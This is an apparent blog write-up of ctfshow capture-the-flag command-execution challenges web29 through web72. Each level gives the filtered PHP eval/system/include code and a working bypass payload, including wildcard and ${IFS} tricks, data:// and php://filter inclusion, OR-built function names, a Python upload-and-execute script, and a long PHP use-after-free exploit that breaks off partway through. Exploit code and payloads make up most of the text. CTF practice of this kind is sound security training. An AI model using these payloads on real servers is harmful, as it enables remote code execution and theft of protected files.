The ctfshow command executes web29-web77 web118-122 web124 wp

Posted by rodin on Wed, 02 Feb 2022 22:16:41 +0100

Nanshen blog

Command execution

web29

preg_match : Match regular expression
 After pattern separator"i"Tag this is a case insensitive search
 In mode\b Mark a word boundary, so only independent words will be matched, such as:
    if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) :    True
    
    if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) :    False
        
Tip: if you just want to check whether a string contains another string, don't use it preg_match() , use strpos() It will be faster. 

Title:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

That is, $c cannot match the upper and lower case flag

payload: ?c=system('tac f*');
linux Knowledge: wildcards
*	Match any string/Text, including empty strings;*Represents any character (0 or more) ls file *
?	Match any character (when not in parentheses)?Represents any 1 character ls file 0
[abcd]	matching abcd Any character in
[a-z]	Representation range a reach z,Meaning of scope []Match any character in brackets ls file 0

about linux cat and ca''t ca\t ca""t The effect is the same, which can also bypass the character limit

web30

subject

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

The system is filtered this time, but there are other ways to execute system commands

For example:

system : Execute the external program and display the output if PHP Running in the server module, system() The function also attempts to refresh automatically after each line of output web The output cache of the server. If you want to get the raw output of a command without any processing, use passthru() Function.
exec :  Execute an external program,Echo last line,Need to use echo Output.
shell_exec :  adopt shell The environment executes the command and returns the complete output as a string.
popen :  Opens a pipeline to a process that derives from the given command Generated by command execution.
proc_open :  Execute a command and open it for input/Pointer to the output file.
passthru :  Execute the external program and display the original output. with exec() Functions are similar, passthru() Functions are also used to execute external commands( command)of When executed Unix When the command outputs binary data and needs to be directly transmitted to the browser, this function needs to be used instead exec() or system() Function. Commonly used to perform tasks such as pbmplus Commands that can directly output image streams. By setting Content-type by image/gif, Then call pbmplus Program output gif File, you can PHP The script outputs the image directly to the browser.
pcntl_exec() :  Execute the specified program in the current process space and return when an error occurs false ,No error is returned. 
`(Backquote): same as shell_exec() 

So construct payload

payload: ?c=passthru('tac f*');

web31

subject

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

This time, spaces are filtered for the previous payload, but there are many ways to bypass it. The explanation is as follows:

${IFS} But I can't write $IFS
$IFS$9
%09
<>
<
$IFS%09

Therefore, the payload is obtained:

?c=passthru("tac%09f*");
These five here, only%09 Yes. Because this is command execution, not code execution. as ${IFS}Yes shell It's used in, and here it's bypassing php Regular.

In addition, the same cat The following functions are available:
cat,tac,more,less,head,tail,nl,sed,sort,uniq,rev

web32

subject

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

The last level is still available

Because the semicolon is filtered, the previous ones are invalid. Here, you can use the php short tag to close the execution command. Can I use it here? c=include$_ GET[a]?>

Then, because the include cannot directly include the flag, the php pseudo protocol is used to read the base64 content of the flag

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

subject

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

continue

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

It doesn't matter. Go on

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

It still has no effect on the original payload. Continue

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Still no effect, just filter the numbers

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

Compared with before, this time we are not giving eval to execute the command directly, but using include to execute the command.

Because it cannot carry a flag, it is not possible to read with php pseudo protocol (because you must type the complete flag.php)

Pseudo protocol:

Total:
file:// agreement
php:// agreement
zip:// bzip2:// zlib: / / protocol
data:// agreement
http:// Protocol https: / / protocol
phar:// agreement

Score:
file:// agreement:
		condition allow_url_fopen:off/on  allow_url_include :off/on
		For local file system access. stay include()/require()When the parameters are controllable, if you import non php The file will also be parsed into php
		Usage: 1.file://[absolute path and file name of the file]
	 		2.[The relative path and file name of the file]
	 		3.[http: //[network path and file name]

php:// Agreement: condition allow_url_include: only php://input   php://stdin   php://memory   php://temp On allow required_ url_ fopen:off/on
		effect: php:// Access to various input / output streams (I/O streams), which is often used in CTF php://filter and php://input , php://filter Used to read the source code, php://input For executing PHP code
		php://Detailed explanation of filter parameters: resource = (required, specifying the data stream you want to filter) read = (optional) write = (optional)
		yes read and write,Optional filters are string.rot13,string.toupper,string.tolower,string.strip_tags,convert.base64-encode & convert.base64-decode
         Usage example: php://filter/read=convert.base64-encode/resource=flag.php

zip:// bzip2:// zlib: / / protocol:
        Conditions: allow_url_fopen:off/on      allow_url_include :off/on
        effect: zip:// &Bzip2: / / & zlib: / /, both of which belong to compressed streams, can access the sub files in the compressed files. More importantly, there is no need to specify a suffix
        Usage: zip://[absolute path of compressed file]%23 [sub file name in compressed file]
        	 compress.bzip2://file.bz2
        	 compress.zlib://file.gz
        among phar://Similar to zip: / /

data:// agreement:
        Conditions: allow_url_fopen:on    allow_url_include :on
        Function: can use data://Data flow wrapper to transfer data in corresponding format. It can usually be used to execute PHP code.
        Usage: data://text/plain,            data://text/plain;base64,
        give an example: data://text/plain,<?php%20phpinfo();?>
        	 data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
          
        thus it can be seen, web37 This question can be used data://Pseudo protocol to execute code

Combine to get payload

c=data://text/plain,<?php%20system("tac%20f*");?>

web38

subject

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

php is filtered here, so let's change the short tag of php and replace php with an equal sign

So payload

?c=data://text/plain,<?=%20system("tac%20f*");?>

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

Here, $c."php" is spliced together, but it can still be executed with the command, because there is a <? =? > in the short tag It's closed, so it won't be affected by php

Or use the payload of the previous question

?c=data://text/plain,<?=%20system("tac%20f*");?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

There are many filters, but they are basically numbers and special symbols. It can be noted that they filter Chinese parentheses instead of English ()

Common bypass posture

getallheaders(): Return all HTTP Header information, which returns an array instead of eval String is required, so use implode()Function to convert an array to a string

get_defined_vars(): This function is used to get all the defined variables, and the return value is also an array, but it is a two-dimensional array var_dump()Output can see the output content. After the first bit, you can use current()Function to get its value. See the official function for details. payload: var_dump(current(get_defined_vars()));

session_id(): session_id()Can be used to obtain/Set current session ID,You can use this function to get cookie Medium phpsessionid,And this value is controllable.
    If you can cookie Medium setting PHPSESSID=706870696e666f28293b,Then use hex2bin()Function, i.e. passed in?exp=eval(hex2bin(session_id(session_start())));     And set cookie: PHPSESSID=706870696e666f28293b
    session_start Function is to open session
    
Functions used with:
	print_r(scandir('.')); View all file names in the current directory
    var_dump()
	localeconv() Function returns an array containing local numbers and currency format information.
	current() Function returns the current element (cell) in the array,The first value is taken by default, pos yes current Alias for
	each() Returns the current key in the array/Value pair and move the array pointer one step forward
	end() Point the internal pointer of the array to the last cell
	next() Moves the internal pointer in the array one bit forward
	prev() Rewind the internal pointer in the array by one bit
	array_reverse() Returns an array in the reverse order of elements

First, construct the payload to output the file name under the current file. Because special symbols are filtered, the above print_r(scandir(‘.’)); Cannot be used directly

Use it in conjunction with localeconv() and current()

?c=print_r(scandir(current(localeconv())));

flag.php is in the penultimate place, and then use show_source output

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

This question filters numbers and letters (because the following / i is not case sensitive), and cannot use XOR, negation, self increment and other operations (filter $, +, -, ^, ~), but you can use | (or)

The numbers filtered here refer to ascii type, so there is no filter for% 09(tab), so you can use this to construct the letters and numbers you want to use. Here is a script available on the Internet

import re
import requests

url="http://64dc8155-8f3b-4e75-a8e5-dbe633352099.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

mya="system"  #Function name can be modified here!
myb="ls"      #parameter
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

Here is the $c parameter followed by a > / dev / null 2 > & 1. Baidu click

0   Standard input
1   standard output 
2   Error output
 In class Unix In the system,/dev/null,Or empty equipment,Is a special device file,It discards all data written into it(However, the write operation is reported to be successful)
difference:
2>/dev/null   Output error to empty device (i.e. discard)
>/dev/null 2>&1   Equivalent to 1>/dev/null 2>&1   That is, discard the standard output and output the error output to the standard output. Taken together, the error and standard output are output to the empty device
2>&1 >/dev/null   The error is output to the standard output, that is, to the screen, and the standard output is discarded

redirect> and >>   The former empties the file before writing content, and the latter appends the redirected content to the end of the existing file.

The input will be discarded. What should I do? The answer is yes; Or |, etc., such as? c=ls&&pwd. When executing, LS will be executed and the PWD command will be discarded

?c=tac flag.php||ls

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Just filter the semicolon and cat. Continue to use the above

?c=tac flag.php||ls

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Filter flag s on the basis of the above, and use wildcards

?c=tac f*||ls

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Just filter the blank space on the basis of the above. Just use% 09

?c=tac%09f*||ls

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Based on the above, the number $*

Just change the wildcard

?c=tac%09fla?.???||ls

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

more less head sort tail is filtered based on the above, but tac continues to be used without filtering

?c=tac%09fla?.???||ls

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

Still no filter tac

?c=tac%09fla?.???||ls

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

It's just an extra percentage sign, but it still doesn't affect it

?c=tac%09fla?.???||ls

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Oh, I filtered \ x09 and \ x26

So I thought of using < >, but I found that < > and? There is no output when combining, so just change the payload above

?c=tac<>fl\ag.php||ls

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac is filtered this time, but it was mentioned in web31. In addition, the functions with cat function are as follows:
cat,tac,more,less,head,tail,nl,sed,sort,uniq,rev

?c=nl<>fl\ag.php||ls
flag In source code

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

< > is filtered this time, and ${IFS} is used for small problems

?c=nl${IFS}fl\ag.php||ls
 Then look at the source code

But I found that the flag changed

therefore? C = LS ${IFS} / | LS found the flag in the root directory, so the final payload is

?c=nl${IFS}/fl\ag||ls

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

<br>Is a newline character

When I enter? When c=ls, the returned value is

lsflag.php index.php readflag
readflag

Then I used a payload

?c=nl${IFS}fl\ag.php||ls

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

What cattle and horses

But he didn't expect to use the rev function

?c=rev${IFS}fla?.php
 Get again reverse Just a minute flag

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

Just filter the letters. You can use wildcards to get the flag out

bin by binary Short for, it mainly places some necessary execution files of the system, such as:cat,cp,chmod df,dmesg,gzip,kill,ls,mkdir,more,mount,rm,su,tar,base64 Wait.
We use it directly every day cat perhaps ls And so on are actually abbreviations, for example ls The full name should be/bin/ls

So payload

?c=/???/????64 ????.???
Then decode it

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

Even numbers are filtered out here, and there are some special characters

Look here Nanshen blog , Nanshen original words

"This time, we filtered out more numbers on the basis of the previous question, so we couldn't use the payload of the previous question. However, we've seen an article on alphanumeric webshell by master p before. Here we can take advantage of the feature of php: if we send a post package for uploading files, php will save the uploaded files in a temporary folder and the default file directory Yes / tmp/phpxxxxxx. The last six characters of the file name are random upper and lower case letters, and the probability of the last character is uppercase letters. The easy way to think of matching is to use? Match, i.e.? /???, However, this does not necessarily match the files we upload. What can we do at this time? "

It is found that [] can be used for regular matching, such as??? /??? [A-Z] can match B-Y, so in order to match A-Z, you can match from @ to[

Then here's a trick to use To execute the file, such as creating a.txt, and then writing ls in it

Execute in shell a.txt, the result of ls will be executed.

So the structure is as follows

import requests
while True:
    url = 'http://617464c5-1e4b-4cd8-9ef1-adbb89037d3c.challenge.ctf.show/?c=. /???/????????[@-[]'
    flag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")})
    if("ctf" in flag.text):
        print(flag.text)
        break

You can get the flag

You can also see No alphanumeric command execution

web57

//flag in 36.php 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

It can be seen that the title requires us to construct c = 36, but here the numbers and letters are filtered, and we can only operate with special symbols

I saw the southern God 👴👴 Blog, said you can use $and () to construct numbers to try

Can see

echo $(()) = 0
 Reverse it
echo $((~$(()))) = -1
 Take the reverse and add it up
echo $(($((~$(())))$((~$(()))))) = -2
 Reverse the above
echo $((~$(($((~$(())))$((~$(()))))))) = 1

After Baidu, I found $(())It is used for integer operation
 as a=5 b=7 c=2
echo $((a+b*c)) = 19
$(())The operations that can be performed are
+ - * / Add, subtract, multiply and divide

% Remainder operation

& | ^ ! AND,OR,XOR,NOT operation

OK, if you want to construct 36, you only need to construct - 37 and reverse it. In the middle is the dolls-1 process, and then reverse it. It's very easy to do

print("$((~$(("+"$((~$(())))"*37+"))))")
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Then view the source code

web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

I can't connect all the post questions here, but I don't think so

This question is about eval. Before that, system can execute commands, and eval is text to php code

eval and system should correspond to code execution and command execution, which should not be confused

Here, directly copy the function of reading files accumulated by Nanshen

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // Non php code
include_once($filename); // Non php code
require($filename); // Non php code
require_once($filename); // Non php code
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // Read one line
fpassthru(fopen($filename, "r")); // Read from current position to EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // Read a line from the file pointer and filter out HTML tags
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // false is returned in case of failure, and the configuration array is returned in case of success

Show directly here_ Source

POST: c=show_source("flag.php");

web59

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

Here is the backstage blacklist. We don't need the one above. We'll change something else

POST: c=print_r(file("flag.php"));

web60

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

Another one

POST: c=highlight_file("flag.php");

web61

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

Another one. How about this wave? I'll change one and be banned

No, shit

POST: c=highlight_file("flag.php");

web62

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file("flag.php");

web63

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

Madder continues to use this payload

c=highlight_file("flag.php");

web64

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

It still works

c=highlight_file("flag.php");

web65

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

Why can I still use grass

c=highlight_file("flag.php");

web66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

I'm still c=highlight_file(“flag.php”);

Then he said XiuXiu got it. He wasn't here this time, so he used print_r(scandir, check where it is)

c=print_r(scandir("./"));
#flag.php   index.php
flag.php It was just fake, so I went to see the root directory
c=print_r(scandir("/"));
# .................. flag.txt ..................

payload

c=highlight_file('/flag.txt');

web67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file('/flag.txt');

web68

Open it and say it directly

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

It's numb, but it's not hard to guess

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

Then print is put here_ R is forbidden. Use var_dump()

c=var_dump(scandir("/"));

Still following the directory flag txt

Since highlight doesn't work, change it for another one

c=require("/flag.txt");

web69

highlight_file() is still missing_ Dump is gone

Although payload is still

c=require("/flag.txt");

So I looked for a way to read the directory. I Baidu 114514 / 19198 seconds, but I didn't find it, so I cv went to Nanshen

print_r(glob("*")); // Column current directory
print_r(glob("/*")); // Column root directory
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

Here is the filtered print_r so use the back

c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}

web70

After opening

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
 Are you going to heaven?
c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}

c=require("/flag.txt");

web71

The title is given to index php

error_reporting(0);
ini_set('display_errors', 0);
// Are you showcasing your skills?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

Are you going to heaven?

Went and searched ob_get_contents() and ob_end_clean(), the former is to get the contents of the buffer, and the latter is to clear the contents of the buffer and close the buffer, but will not output the contents. In this way, the sequential combination completes the output of the command result executed by $c to s and clears the original execution result

Hit it with the previous payload

The output is

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????{????????-????-????-????-????????????} Are you going to heaven?

That is, the [a-zA-Z0-9] part is completely output as a question mark

After seeing the of Nanshen, you can add an exit() at the back; Exit, so you can't execute the following commands

c=require("/flag.txt");exit();

***web72

error_reporting(0);
ini_set('display_errors', 0);
// Are you showcasing your skills?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

Are you going to heaven?

It's no different from the previous one

I'll execute it directly, soon

Add the next line to the directory, and then look at the next line

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

I've tried the other seven. That's all.

I think c=require("/flag0.txt");exit();, But the direct report is wrong.

Alas, take a look at Nanshen blog

Don't let open, ban function, climb
Here is the command execution with uaf script, which has been sent by the group leader. url encoding required

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
